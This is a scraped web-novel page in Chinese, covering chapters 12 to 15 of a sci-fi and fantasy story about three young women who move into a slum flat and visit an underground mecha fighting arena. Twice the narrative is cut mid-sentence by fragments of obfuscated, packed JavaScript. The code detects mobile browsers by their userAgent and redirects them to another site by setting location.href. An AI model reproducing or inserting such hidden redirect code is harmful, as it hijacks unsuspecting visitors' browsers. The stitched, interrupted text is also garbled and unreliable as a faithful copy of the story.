l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993599|193849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她感应到有一颗无法苏醒的灵,被困在这窄小的空间里无法挣脱桎梏。 看着茂盛,实际上快要死了。 颂千纱回神,勉强笑了笑。 不知道现在胤允的处境是如何,也是这般吗? 她心中的不安弥漫。 “好。” 时循的脚步慢了下来,眼睛不留痕迹地往四处的摄像头撇去,她往颂千纱右边走了几步,用身体挡住颂千纱。 颂千纱跟上齐焦的脚步,眼尾的睫毛轻颤。 半晌,手中红光微微亮起。 时循立马不留痕迹地拍了下她的手掌。 手上红光骤然消失,颂千纱骤然转头看向时循。 时循直视着前方,脸上一如既往地面无表情,她微微摇头。 颂千纱最后看了一眼这棵树,睫毛颤动的更厉害,眼中闪烁这晶莹。 她看向时循,眼中带着挣扎。 “可……” 话还未出口,时循肃着脸看向她,眼中带着不容置疑的凌厉。 时循的语气分外的冷。 “不可以。” 颂千纱低着头,与时循并排走在最后面,她一块一块地竖着地板上的砖头,眼泪一滴滴地往下落。 半晌,颂千纱抬头再次出声。 “我想去找……” “我知道,但这里必须一步步来。” 时循顿了顿,轻声补了一句。 “别让自己陷入危险,才有可能找到人。” 她沉默了半晌,抬起头深深地吸了口气,用手胡乱擦了擦眼泪,强迫自己扬起嘴角,看向时循。 时循也看向她,挑了挑眉,嘴角微微勾起。 “你俩走的好慢,车来了!” 齐焦在前方嚷道。 她用力向二人招手,示意二人赶紧过去。 颂千纱深深吐气,甩了甩头,尽量让自己按耐住找胤允的欲望。 “快点!地铁可不等人!” “来了!” 颂千纱也跟着大喊回齐焦。 她转头看向时循,时循对她安慰地笑了笑。 她与时循一同跑了起来。 二人赶在关门前的最后一刻上了车。 齐焦靠着车厢,木着脸抱臂看向二人,架势像是要开庭。 “背着我说什么小话?” 时循找了个位置坐下,看向齐焦,眼神依旧很淡,嘴角轻笑。 “这话有点暧昧了吧?” 齐焦猛地低头,与时循的距离骤减,她眼神带着狂热的战意,笑得放肆。 “很暧昧吗?” 齐焦的视线故意先落在她的唇上,后逐渐往上看,最后落在看向她的眼睛,眼神里全是挑衅。 “别忘了在航行舰上我们的事。” 颂千纱站在一旁,齐焦身上的气势瞬间变了,从散漫洒脱变成了虎兽般的凶狠,战意滔滔,她又想起了第一次见到齐焦时的样子。 颂千纱歪头看着,脑中冒出一个词来。 狂战士。 时循挑了挑眉,一步未动,背依旧笔挺,眼神淡然的直视着齐焦。 “当然没忘。” 二人剑拔弩张,颂千纱蹙眉憋了一会儿。 半晌,她实在憋不住了,背过身去捂着脸,不断抖动肩膀。 二人双双转头看着她。 颂千纱摆了摆手,肩膀依旧不断抖动。 “别管我,我就是觉得你俩现在才是真的很暧昧。” “……” “……” 12. 第 12 章 她抬眸再次看向时循。 齐焦起身,在时循对面坐下。 她的气势收放自如,整个人没骨头似的坐在椅子上,笑眯眯地看向颂千纱。 “纱纱,过来坐。” 颂千纱缩了缩脖子,嗅到一丝危险。 她的眼珠子直溜溜地转着,反复落在二人身上。 然后慢吞吞地朝齐焦走了两步,随后又一溜烟地跑开,紧挨时循坐下。 一套动作行云流水。 时循被她一整套动作逗得不行,眼含笑意歪头看她。 “还挺敏锐,知道过去她肯定会蹂躏你。” “哈哈哈哈哈哈哈!” 齐焦在椅子上笑得前俯后仰。 半小时后,三人下了车,走在大街上。 这里看起来比之前的片区陈旧不少,几乎没有树木,只有远处的小水洼附近刚冒芽的小草,发黑的歪斜的房屋连城一片,有高有矮,一眼望不到尽头。 “这里是贫民区,我家拐个弯就到了。” 她像是想起了什么似的,又转过头对二人说道。 “不过我很久没回了,估计灰尘很大。” “先说好,住处我提供了,学费我们得一起赚,我是一分钱都拿不出来,纯负二贷。” 时循看向齐焦。 “富二代?” 齐焦点了点头。 颂千纱闻声也转过头去。 “负二贷,身负学贷机甲贷。” “有没有点愧疚?不赞助我还让我付学费。” 齐焦瞥向时循,眼睛微眯,眼底全是探究。 时循微微侧目,眼神毫无波澜。 “没有。” “真绝情。” 三人走到转角,转角处有一颗大树。 齐焦的眼中精光一闪,眼中的战意瞬间点燃,周身气势一变,双眼盯着时循,像是猎物已经进入捕食区。 她突然对着时循挥出一拳,直冲时循面门。 时循看起来并不意外,侧身点地一跃,随后腿劈向齐焦。 二人忽然动手吓了颂千纱一跳,她火速远离战场退至大树旁边。 她刚刚站定抬头,就已经看不清二人的招式了。 颂千纱隐约感觉到,二人这一架是势必要打的。 “二小姐确实没被寄生,伸手比普通的3s+单兵还要厉害。” 齐焦擦了擦嘴角的血,笑意比一开始更加热烈。 时循眼神中也带着微光,嘴角勾起。 “你也不弱。” 二人显然被对方的实力勾起兴趣,打得上头。 很快又扭打在一起。 颂千纱抱着时循的书包远观,原本干净的墙上多了几个脚印。 脚印不浅,甚至隐隐凹了进去。 “你没被虫卵寄生,为什么离开七年?” “话挺多啊?还有余力?” 颂千纱站的有些累了,身体重心向后靠,靠在大树上。 “为什么不回家?” “你能上航行舰说明没被你姐姐放逐,你是自愿离开?” “打赢我,全都告诉你。” 二人喘息着停了几秒,颂千纱第一次在时循脸上看到挑衅的表情。 时循微微挑眉,嘴角勾起一抹笑。 齐焦与她对视,脸上的笑比一开始真了许多。 “二小姐不装了?” “不存在装,只是没兴趣罢了。” 颂千纱听见齐焦的喘息越发的重了。 “现在有兴趣?” “一点点。” “再来!” 颂千纱转过身,沿着树根向上看去。 树中有一个巨大到几乎能走进去的空洞。 二人还在打着,但颂千纱已经不在关注。 这棵树看起来十分粗壮,但壮硕的枝桠上竟无一片叶子。 非自然枯萎。 颂千纱微微蹙眉。 可这样巨大的,存在了上万年的树,为什么会突然枯萎? 颂千纱摸了摸树皮,树皮分外枯燥,像是已经风化很久了。 她凝眸沉思,半晌,她把头伸进树洞内。 腐朽的气息扑面而来,里面很潮湿。 她睁大双眼想要看清里面的样子,可眼睛还未来得及适应黑暗,外面突然传来一声巨响。 “轰——” 紧接着就传来附近居民的呼喊声。 “我去!地震了吗?!” “什么情况!” 脚步声从远而近,颂千纱还未来得及反应,齐焦与时循的身影像一阵风似的朝着颂千纱奔来。 齐焦单手扛起颂千纱就跑。 时循擦了一把嘴角的淤青,捡起放在地上的书包立马跟上齐焦的脚步。 颂千纱还没看清里面的情况就被立马抗跑了,二人速度奇快,她还未看清就已经跑出去很远。 她一脸疑惑地趴在齐焦的肩上张望了一会儿,看向时循。 “发生什么事了?” 时循瞥了她一眼,嘴唇轻抿,眼神中竟滑过一丝心虚。 颂千纱难得看见时循脸上有这种符合年龄的表情,兴致勃勃地盯着时循。 时循故意不与颂千纱对视。 她用拳头挡着嘴干咳了一声,结果被牵疼了伤处,疼的眯眼,用手又摸了摸嘴角的淤青。 “被她打塌了墙。” 时循话音刚落,齐焦强烈反对的声音便接踵而至。 “你放屁!是你自己一脚踹塌了。” “是你先打的那拳太用力。” “我那一拳打的是你!你不闪开我怎么可能意外打到墙!” “我能像你一样硬接?我又不蠢。” “你什么意思?” “没什么意思。” 齐焦与时循再次对视,二人战火再次一触即发。 颂千纱撑着头,瞥了一眼二人的反应,满脸的无语。 “打上瘾了你俩?” “打坏一堵墙都只能靠逃逸。” 二人瞬间熄火。 半晌,齐焦的脚步逐渐慢了下来。 三人跑进一栋破旧的单元楼,在三楼停下。 齐焦放下颂千纱,从兜里掏了好久。 课本,换洗衣物,各路零件扳手,哑铃。 上面清一色的刻着几个硕大的字——克林迪斯学院。 时循插着兜,和颂千纱一起站在一旁,二人见状,沉默了很久。 时循突然开口。 “都是从学校偷的共用器材啊?” 齐焦瞥了她一眼,丝毫不心虚,继续寻找钥匙。 “真难听,我又没卖,用用而已。” 等了好一会儿,她终于从裤兜里找出一把铜制的生锈钥匙,插进锁孔。 “……” “……” 转不动。 时循抱着臂,看着齐焦,声音凉凉的。 “你触电了?抖了半天都打不开。” 颂千纱捂着嘴低头狂抖肩膀。 时循也瞥她一眼,没说话。 齐焦努力半晌,叹了口气。 她右手握住门把,用力一拔。 门终于开了,锁上带着锁扣。 “真暴力啊。” 颂千纱感叹。 齐焦耸了耸肩。 三人走进屋子。 整个屋子布置很温馨,只是蒙上了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993600|193849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一层厚厚的灰尘,隐约还有人翻动过柜子的痕迹,不过看起来也是很久以前了。 “那是你父母?” 时循微微蹙眉,思索片刻。 颂千纱顺着时循的目光望去,看的一张一家三口的合照。 “嗯。” 齐焦瞥了一眼,不咸不淡地应了一声。 听起来没什么情绪。 “不过他们很早就死了。” 齐焦说话时,眼神有一瞬间落在时循身上,但很快就错开了。 颂千纱微微挑眉,看向时循。 时循似乎毫无察觉,她走近各个屋内查看。 半晌,她从厕所拿出一把已经没有毛的扫帚,看向齐焦。 “你有钱吗?” 齐焦沉默半晌,打开光脑设置为公开,亮出余额。 250.41星币。 时循沉默地与齐焦对视。 颂千纱盘着腿坐在地上,撑着脑袋看着二人。 “这是什么意思呀?” 时循瞥了颂千纱一眼,开口解释。 “二百五十块四毛一,意思她的钱只够买两瓶啤酒。” 齐焦破防,她咬牙切齿地回道。 “……其实能买两罐半!” 时循没理她。 一边说着,一边抬腿走向沙发。 “坐下来商量下之后的事吧。” 三人一同坐下。 时循刚准备开口,颂千纱突然感觉屁股一陷。 “砰——” 沙发塌了。 “……” 空气一时凝固。 颂千纱下意识看向时循,她坐在中间面无表情。 与齐焦的视线在齐焦的脸上交汇,二人对视一眼。 憋了半晌,时循的两边笑成一团。 时循绷了片刻,也忍不住捂着脸,狂压嘴角。 “家徒四壁啊。” “哈哈哈哈哈哈哈哈哈!” 过了几分钟,三人终于笑干净了。 齐焦捂着肚子站起来,看向二人。 “拿最后的二百五去买点啤酒吧?吃顿好的明天挣钱去。” “行。” “好耶!” “一会儿回来。” 齐焦话毕出门。 时循等到脚步彻底远去后,从口袋里摸出了什么,递给颂千纱。 “你的。” “什么?” 颂千纱陷在沙发里擦眼泪,她的视线里出现两把金钗和一只步摇。 她看着眼熟,眨了眨眼,从她手里接过。 金钗上的荷叶样式栩栩如生,与自己化形前的荷叶一模一样。再观步摇,步摇上金龙含珠,珠串是由珍珠制成的流苏,精美至极。 颂千纱瞪大眼睛。 “你从哪得到的?确实是我的东西。” “你到187星的时候正在昏迷,我偷的。” “这是小龙帮我准备的成人礼。” “就是我要找的人。” “……” 颂千纱端详着簪子,忽然笑了笑,看向时循。 “既然是偷的,怎么还给我了?” 时循的视线停在金簪上片刻,后与她对视。 “之前想卖钱。” “不过后面觉得,给你更好。” 二人相视一笑,没有在接着说话。 颂千纱沉默地看了簪子很久。 她早就看出在这个世界里,金子很珍贵。 她抬眸再次看向时循。 “其实你早就看出来了,那对父女身上其实还有钱,只是没给时嵩屿,对吗?” 时循诧异地挑了挑眉。 13. 第 13 章 “你在为我规划。” 时循诧异地挑了挑眉,回答得干脆。 “是。” 颂千纱并不意外,她盯着簪子没说话。 “谢谢。” 时循微微挑眉回应。 屋外的阳光被窗帘全部挡住,她按了下右手边的开关,右边的台灯骤然亮起,把整个屋子照耀得明亮不少。 颂千纱看着时循做完一切。 灯光从右上方打下,照耀在时循脸上,左边眉眼处形成一个三角,给她原本并不锋利的五官平添了几分攻击性。 颂千纱凝视着时循,时循亦然。 这似乎才是时循原本的样子。 她毫不遮掩地展示给颂千纱看。 不知过了多久,颂千纱抱着双膝,微微垂眸开口。 “你不问我什么?” 时循的坐姿松散了些,她沉默了一会儿,突然笑了笑。 “需要问什么?” 颂千纱睫毛微垂,半晌,又抬头看向她。 “比如我的来历。” “你愿意说吗?” “……不愿意。” “那就不问。” 颂千纱不明就里,歪着头奇怪地看向她,满脸疑惑。 她张了张口,但又什么都没说。 她欲言又止了几分钟,最后把脑袋缩进膝盖里,抬眼看向时循。 “我要找的人叫胤允。” “我能闻到他的气息,但不是很远。” 时循微微低头沉思,让手承担头的所有重量。 不知过了多久,才开口道。 “你要先入学克林迪斯,才能正式开始找。” “为什么?” 时循微微抬头,坐姿再次回正,手指轻敲沙发。 “你要先了解这个世界,学校是了解这个世界最快的途径。” “再者说。” 她转过头,眼睛直直地注视着颂千纱的眼睛,眼神锐利却不失温度。 “你找人会很需要钱。” “你很有机甲天赋,入了机甲班以后,你的收入不会低。” 颂千纱歪头,听得云里雾里。 消化了半晌,她突然对着时循勾起嘴角。 “我有很多没懂的地方,不过我有一处听得很明白。” 时循微微挑眉,示意她说下去。 颂千纱对着她灿烂一笑。 她这样笑起来,卧蚕比眼睛还要大,很漂亮,但看起来不太聪明。 “你在为我规划。” “谢谢你。” 时循盯着颂千纱的笑容。 半晌,她也笑了起来,眼底有什么开始消融。 她的坐姿彻底放松,慵懒的坐在这个破旧的沙发上,用左手点了点心口。 “是我更该谢谢你才对。” “那我们互相谢谢。” 颂千纱感觉到,这个世界与她靠近了一点。 二人相视而笑,对那件事心照不宣。 齐焦抱着可乐和炸鸡开门回来时已经是晚上了。 她被眼前的景象看的一愣。 二人不知从哪找出几块布,一起把房子里里外外整理擦拭了一遍。 房子焕然一新。 她站在门口呆滞了许久。 颂千纱见她一只抱着袋子的不动,用衣服擦了擦手,走去接过她手里的袋子。 把食物一件件摆放在茶几上,朝着齐焦喊道。 “脱鞋再进啊,已经拖干净了。” 齐焦如梦初醒。 她慌忙退到外面把鞋脱了,刚想要踩进来,却又顿了两秒。 抬起脚看了眼黑黑的脚掌,又把脚重新踩进鞋里,抬头想要四处寻找什么。 无果。她再次抬起脚,用袖子擦脚,擦了很久。 最后,她蹙着眉面露迟疑,犹豫了半晌,用脚跟点地,大步跨着走近洗手间。 出来时,颂千纱和时循已经坐在沙发上等她了,桌上摆着她刚买回来的食物。 沙发被几块颜色不搭的布没有章法的缝好,里面的弹簧用尽全力顶着布,像是挣扎着想要再次弹出来。 “怎么这么久才出来!我要忍不住了!太香了!” 颂千纱向她招手。 齐焦怔了一瞬,眉宇间的染上温度,她扬起笑脸。 “来了。” 时循坐的很正,咬下一块鸡腿肉,挑眉看向齐焦。 “你的二百五怎么变成这么多钱的?” 齐焦紧挨着颂千纱坐下,给三人每人开了一瓶酒,后拿起鸡翅就猛往嘴里塞。 她回的囫囵。 “去打斗场打了两场。” “打斗场?” “你去了七年估计不知道,五年前你姐和你前未婚夫结婚了。” 她吃的奇快,鸡翅塞进嘴两秒里再出来就只剩骨头了,接着又拿起一块鸡腿往嘴里塞。 颂千纱见状瞪大眼睛,立马加快了自己吞咽的速度。 “然后时家和洛家和办了个打斗场,针对机甲单兵的。” “可以直播机甲单兵打斗,现在很风靡,听说最近还和几个学校暗自合作了。” “赢了奖金很多。” 时循手中的动作顿住,垂眸沉思。 颂千纱和齐焦吃的速度快出残影。 “你一会儿再想啊!” “齐焦都快全部吃完了!” 颂千纱一手往嘴里塞鸡翅,另一只手在百忙之中往她盘里放了几块鸡翅。 随后全神贯注地和齐焦比起速度来。 “……” 时循瞥了眼二人。 二人吃的满脸油渍,毫无形象地风卷残云,连额头上都沾着鸡皮。 时循眼底的嫌弃都快溢了出来。 没过多久,桌上的东西被二人吃了个精光。 “去洗一洗你们的脸和爪子。” 整个桌子上仅在时循盘子里还剩三个鸡翅,时循戴着手套慢条斯理地吃着。 她瞥向二人。 “哦哦哦。” “好。” 二人依依不舍地把视线从时循的鸡翅上挪开,排队进入洗手间。 时循用餐完毕,二人吃得前俯后仰,一脸惬意。 三人坐在沙发上。 颂千纱坐的位置不太好,刚刚缝过了的弹簧顶住了她的屁股。 她一脸餍足,上半身不动,撅着屁股身后挪了挪,敞着腿坐下。 三个人人手一瓶啤酒。 齐焦率先举起酒罐放在前方,开口庆祝。 “欢迎新生活!干杯!” 颂千纱有些微醺,咯咯笑着,她身体重心往前移,举起酒罐。 “干杯!” 场上还有一人未动。 二人同时看向时循。 时循嘴角轻勾,单手撑着脑袋,也迎了上去。 “砰——” 三人碰杯。 “嘿嘿!我好开心!” 颂千纱扬起笑脸。 二人还未来得及说话,颂千纱已经吨吨吨把一瓶喝完了。 “……” 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“没有胜负,但你可比我狼狈不少。” 齐焦笑了笑,她抬了抬眉毛,眼里滑过一丝狡黠。 她转身调整坐姿,半靠着沙发正对时循,一只脚随意搭垂,另一只脚盘在沙发上。 “那也没输嘛。” 时循慵懒地靠在沙发上,垂眸看着颂千纱,喝了一口啤酒。 中间的颂千纱在中间躺尸,红色眼睛溜溜地在二人身上转。 时循轻笑一声,目光移到齐焦身上,笑意不达眼底。 “你想听什么?” 齐焦与她对视,一反常态的没什么表情,眉宇间如虎兽般的狠劲毫不遮掩。 颂千纱诧异地看向她,这样有侵略性的眼神在三人的相处中,其实齐焦流露的很少。 时循微微挑眉,坐姿微微回正。 半晌,齐焦竟率先敛眸。 她沉默了半晌,似是在酝酿如何开口。 不知过了多久。 “照片眼熟吗?” “一点。” 三人的视线都落在不远处的全家福上。 颂千纱走过去端详,那时的齐焦还很小,左边眉毛还没有那道截断的伤疤。 随后,齐焦垂着眼眸,轻笑一声,将手中的酒一饮而尽,单手又开了一瓶。 颂千纱坐了回来,也跟着拿了一瓶,抱在手里,继续看二人对话。 “离开七年你不想说,索性我便不问了。” 齐焦盯着酒罐,半晌,转头看向时循。 时循手搭在大腿上,侧目看向齐焦。 “为什么不回时家,这个我一定要知道。” 她的眼神分外锐利,带着誓不罢休的气势。 时循像是没感受到这气势一般,姿势不变,依旧侧目睨向她。 “为什么你一定要知道?” “因为这关于我的立场啊。” 齐焦的气势收束,倚靠在沙发上,手臂大张着挂在沙发最上方,眼神却依旧不变。 “七年前消声觅迹的小殿下,突然出现在我这个穷人的接济房里——” 她对着时循挑了挑眉,声音压低,语气却很轻佻。 “这很危险啊。” 14. 第 14 章 时循微微勾唇,把左腿搭到右腿上翘着。 颂千纱毫无形象地陷进沙发里,眼睛在二人身上不断转动。 她觉得时循的气质霎时间变得矜贵了不少。 “你很聪明。” “但现在才问不觉得晚了吗?” 齐焦嘴角的笑意加深,野心弥漫。 “现在问才是刚刚好啊!” 时循向后倚靠沙发,手指轻敲酒罐,发出细小的咚咚声。 随后肌肉放松,姿势松弛地看向齐焦。 她声音微扬。 “要是——” 时循嘴角再次勾起,看向齐焦的眼神带着一丝戏谑。 “我要回呢?” 齐焦与她对视,笑意凝固了片刻,随即再次加深,眼里的危险与凶狠毫不遮掩。 “那我可拦不住。” 颂千纱听的犯困,打开一直抱在手里的啤酒,从沙发里坐了起来。 她耷拉着眼皮,与左右都对视了一眼,一脸沮丧地举手。 “能别打哑谜了吗?二位。” “我只感觉到两股压力把我夹在中间,其他一句都听不懂。” 时循轻笑,看向颂千纱的目光带着温度。 齐焦也看向颂千纱,她没再挂着平时吊儿郎当的笑,也没继续露出那副危险的模样。 她的眼神停留了一刻又离开,接着敛眸把锐利收束,把双手搭在后脑勺撑着。 颂千纱打了个哈欠,走到窗前拉开窗帘,月光顷刻照向她,也撒进这狭小破旧的房子里。 时循透过玻璃看向月亮,眼睛被月光刺的微眯。 齐焦倚坐在沙发上,转头看向颂千纱身后被拉的纤长的影子。 三人看着一个方向,心思各异。 今天它并不圆满,是细细弯弯的一条,可它在首都星分外明亮,与187星的灰蒙蒙的状态大相径庭。 这里的月亮没有灵虚清境的亮。 颂千纱歪着头,手臂抬起,摸向锁骨中央,看着月亮发呆。 三人都未出声,任由屋子里的静默弥漫。 半晌,颂千纱转头看向二人,郑重其事地开口。 “要不还是讨论一下明天怎么讨生活吧?” “这里哪有垃圾场?” “……” 空气再次凝固。 “嗯……” 时循张了张口,看向颂千纱,随后再次闭上。 齐焦也看向颂千纱,蹙着眉想要解释什么,但半天也没说出来。 二人吞吞吐吐了半天,时循终于开口。 “捡垃圾……” 时循的手缓缓抬起扶额。 齐焦原本还能憋住,看向缓缓闭眼时循,肩膀狂抖。 忍了半晌无果,捧着肚子哈哈大笑。 她的笑声悠扬响亮,余音绕梁,终于,时循忍了三分钟,忍不住了。 她把手中的酒一饮而尽,空罐砸向齐焦。 “没完了是吧?” 罐子“咚”的一声砸向齐焦脑门。 很响。 回应时循的是齐焦更加猖獗的笑声。 时循用手揉着太阳穴,她闭着眼,额头青筋直跳。 颂千纱蹙着眉,用牙齿啃了啃手指,神情分外严肃。 “你为什么要笑?我们不捡垃圾怎么生活?” 齐焦揉了揉已经抽筋的肚子,擦干眼角的眼泪,疯狂吸气吐气。 半晌,齐焦缓缓吐气,看向颂千纱,神情与她一样严肃。 “我知道城北郊区有个垃圾场,就是有点远。” 拳风忽然就到了齐焦的面门,齐焦嘴角狂抖,身形一侧,迅速躲开。 时循木着脸,抄起抱枕再次砸向齐焦。 好不容易缝好的脆弱沙发再次破洞,弹簧瞬间挣脱束缚。 随之而来的还有满地的羽毛。 “……” 颂千纱抱臂不说话,颂千纱很无语。 她实在不明白这两个人是怎么打起来的。 她开口,声音凉凉的。 “这下彻底要买新沙发了。” 二人身影一僵,纷纷停下动作,看向四周。 齐焦头上插满了羽毛,她看了看满地狼藉,对着颂千纱讪笑。 她抓了抓头发,把脑袋上的羽毛拍下来。 “明天我们可以一起去打斗场报名。” “那里有发机甲的战斗,也有肉搏,有组队,也有单人。” “只要体力够可以都参加。” “赢的越多,奖金越多。” 她眯了眯眼,眼里精光一闪,对着颂千纱指了指时循,声音带着诱惑。 “她如果露脸下场,几场估计就能赚回一栋房子。” 颂千纱眨了眨眼,不明所以,她看向时循。 “你想露脸吗?” 时循嘴角微微一勾,意味不明地看了齐焦一眼。 “我不能露脸。” 颂千纱回的爽快。 “那就不露。” 时循的目光转向颂千纱,眼里带着温度。 齐焦嘴角挂着笑,耸了耸肩。 “如果不能露脸,就只能从零开始打喽。” “你现在几胜几负?” “16胜1负。” 时循微微垂眸,半晌,抬眼看向她。 “输给谁了?” “那位少将。” 时循眉头微蹙,眼神瞬间变得锐利。 “他也下场了?” “嗯。” 齐焦眼眸微垂,思考了半晌,转头看向时循。 “不过他当时看起来有些暴走,像是神志不清,不知道因为什么。” “神志不清?” “对。” 齐焦换了个姿势,翘起腿倚靠在破洞沙发上,眯着眼。 “他当时捂着头,一拳就把我打出去了。” “不过我隐约感觉他留了几分力。” 她转头看向时循。 “但那一拳我在学校治疗舱躺了半个月。” “如果我感觉没错的话。” 齐焦顿了顿,缓缓吐了一口气。 “那时家和洛家真是有了个大杀器。” 时循没接话。 她沉默半晌,伸手开了瓶酒一饮而尽。 齐焦看着她的动作,也开了一瓶拿在手里。 “明天去打斗场看看。” “嗯。” 时循起身,瞥向齐焦,眼神莫名让她毛毛的。 “你把地扫干净。” “啊?我?” 没等齐焦反应,时循接着走了过去,拍了拍颂千纱后背。 “该睡觉了。” “好。” 颂千纱蹙着眉,回的心不在焉。 伴生纹刚刚前所未有的滚烫,感应强烈到她几乎要认为胤允就在附近。 她心中呼唤他的名字。 伴生纹更加滚烫。 可没过多久,滚烫再次消失。 任由颂千纱怎么呼唤,都再没有变化。 到底是因为什么? 颂千纱抬头再次看向窗外,眉头深锁。 窗外除了层层叠叠的房屋便只有月亮。 夜色正浓,亮起的除却零星两三个窗户,剩下的就只有月亮。 她忍不住在窗外来回踱步。 他到底在哪? 颂千纱眼圈青黑神色分外憔悴,可内心却 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“快去睡觉。” 齐焦抬头看向颂千纱,勾唇轻斥。 一夜过去。 颂千纱是被厨房的响声吵醒的。 她在客房床上睁眼,挠了挠头往屋外走去。 齐焦四仰八叉地躺在沙发上,一个人占了一整个沙发,身上有一件薄薄的毯子。 她也睁着眼,看起来也是被吵醒了。 颂千纱向厨房里面看了看。 她与齐焦对视一眼。 显然两人都闻到一股糊味。 颂千纱蹙了蹙眉,赶忙走了过去,齐焦抬脚跟上。 厨房里的时循手忙脚乱地关上火,看向身后两位,身形僵了半晌。 她摸了摸鼻子,干咳了一声。 “出去转了一圈,有个大妈很热情,让我给她留联系方式。” “我随便报了几个数字,给了我塞了一包她刚去超市买的菜。” “我就准备试着做个饭。” 颂千纱好奇地走了过去,看着锅里黑乎乎的菜眨了眨眼。 “哇,你……” 颂千纱张了张口,过了好一会儿才接着说。 她双手交叠枕着脑袋,歪头,满脸感动地看向时循。 “你好有心哦,还想着我们!” 随后又一脸遗憾,看起来真诚的不行。 “不过我不太饿,好困,想再睡一会儿,让齐焦吃吧!” 话毕,她一溜烟就逃了。 “我?” 齐焦揉了揉眼睛,不可置信地看着颂千纱的背影。 她伸长脖子,眺望锅里,随后对着时循讪笑。 “小殿下,我其实也……” 时循面无表情地看着她,打断道。 “我用心做了一个早上。” “你觉得我做的很差吗?” 齐焦感觉自己膝盖中了一箭又一箭,她慌忙摆手,不留痕迹地往后退。 “我倒也不是这个意思!” “我就是和纱纱一样!不,不太……” 时循木着脸,拿着锅朝她走去。 “不是这个意思的话。” “你尝尝?” 齐焦睁大双眼,她看了看锅,又看了看时循。 话到嘴边又咽下,哽了半晌才憋出一句。 “那你呢!” “我看着你吃。” “你!” 15. 第 15 章 晌午刚至,三人走出小区。 齐焦走在颂千纱身边,压低声音咬牙切齿地看着她。 颂千纱把眉毛提了起来,狡黠地朝齐焦眨了眨眼。 随后扬声,若无其事地往四处看去。 “我们往走啊?焦焦?” “转移话题,聪明了不少啊!” 齐焦磨牙。 颂千纱不留痕迹地走到时循另一边。 时循淡淡地看向齐焦。 “怎么了?” “没事。” 颂千纱在时循身后扮鬼脸。 齐焦狠狠瞪她一眼。 时循转头目视前方。 “没事就带路。” “……行。” 三人很快就坐上公共交通,在一处偏僻的站台下车,车上的人一拥而下,几乎都是与她们三人目的地一致的行人。 此地看着并不繁华,上面贴着几个巨大的字,剩下的就是选手入口和观众入口。 选手入口没有任何机器,是往下跳的一个大洞,观众入口却是安全门,往里一步步走进去的,需要付钱进入。 几乎所有人都付钱进入观众入口,少量几个壮汉走向选手通道。 颂千纱看向不远处,深吸一口气,熟悉的气息扑面而来,她原本稍紧的眉头怔忪了一阵。 紧接着,她眼神骤亮,忽然蹦了起来看向时循。 她像是突然活过来了一样。 “这里他来过!他来过!” 没等时循反应,话毕,颂千纱立马蹦跳着跑向入口,吸了吸鼻子,眼神更亮。 “不久前,就在不久前来过!我闻到了!” 见二人站在原地抱着臂不动,颂千纱迫不及待的跑了回去,一手钩住一个往入口带。 “我们快进去看看吧!” “……” “等等。” 齐焦拉住颂千纱,蹙着眉,视线在二人身上来回看。 她先看向颂千纱。 “什么意思?” “我要找的人来过这!我们快下去!” 颂千纱急得跳脚,看向她,眼睛泛起水雾。 “到底什么情况?” 齐焦的脸色更奇怪了,又使了两分力气才拉住她。 时循按了按太阳穴,看向齐焦。 “我也只知道个大概。” “她要找一个对她很重要的人,叫胤允。” “她们二人之间应该有什么羁绊,能在附近感应到彼此。” 二人不知从哪弄了三个兜帽,一一戴上,也让颂千纱戴在头上再继续走。 齐焦蹙了蹙眉,卸了力气任由颂千纱拉着向前。 “胤允?” “嗯。” 齐焦眉头蹙的更深,思考片刻,看向时循。 “你听过吗?” 齐焦的目光转向在身前拉着她们,兴奋的不行的颂千纱。 时循摇了摇头。 “先进去吧。” 她往周围看了看,几乎没什么人注意到她们。 三人纵身一跃,跳入选手入口。 打斗场建在地下,装潢分外豪华,墙上映着许多广告,头往上抬还能看见比赛实况。 墙边不少地方都雕刻着洛、时两家的徽章。 颂千纱充耳不闻,一路往前嗅闻。 “你好,请登陆或注册选手账号。” 一道机械的女生拦住了颂千纱的去路,是一道安全门。 红光亮起时,安全门闪过一道很粗的电流,无声地警告所有人,入场就得守规矩。 颂千纱蹙眉缩回脖子,接着烦躁的跺了跺脚。 半晌,她抬眸眼神微微亮起红光。 看样子想要强闯。 “注册。” 时循的声音在身后响起,打断了她的动作。 “好的,请稍等。” “请输入姓名与密码。” 安全门内亮起一道光影。 时循听见提示,她微微蹙眉凝眸,低头沉思。 “这原本就可以打黑赛,所以不需要太多信息。” “嗯。” 颂千纱昵称随便填了几个字,焦急着想进去,看见需要输入密码时,几个陌生的数字蹙了蹙眉。 心中刚刚升起理解其中意思的苗头,在顷刻就化为焦躁与不耐烦。 理智化为点燃情绪的火柴。 颂千纱躁动地在再次跺脚。 身后的二人看着她随意在同一个位置按了六下,随后在风中丢下一句话就如一溜烟地跑了进去。 齐焦看着她的背影眉头紧蹙,歪头抱着手臂,下意识跟了一步。 见齐焦还未回神,时循立马蹙着眉开口。。 “你进去跟着她,别惹出什么麻烦来。” “行。” 话毕,齐焦就大步向前,在门口停了一瞬,绿灯亮起,她追着颂千纱的背影跑去。 时循留在原地,她深深看了一眼颂千纱,随后转头环视起周围来。 没有急着注册。 “你准备去哪?” “找胤允!” 颂千纱闷头一路往里面跑去,齐焦的眉头越蹙越深。 走廊不短,都是给选手准备比赛使用的准备间。 越往里的装潢越华贵,就离打斗场越近,也意味着在这打斗场的等级越高。 里面没有禁制,但一般没什么敢随便闯入。 因为等级越高,里面的人危险。 如果开门,意味着你向屋内的人挑战。 奔跑时,齐焦不小心撞到了一个人,她匆忙道歉后便向颂千纱追去。 “没长眼啊?想死吗?” “抱歉。” 一位壮汉蹙着眉看向齐焦掠过的身影不断往里走,眼睛瞪大,忍不住冲齐焦嚷道。 “你真找死啊,再往里走可都是吃人的!” 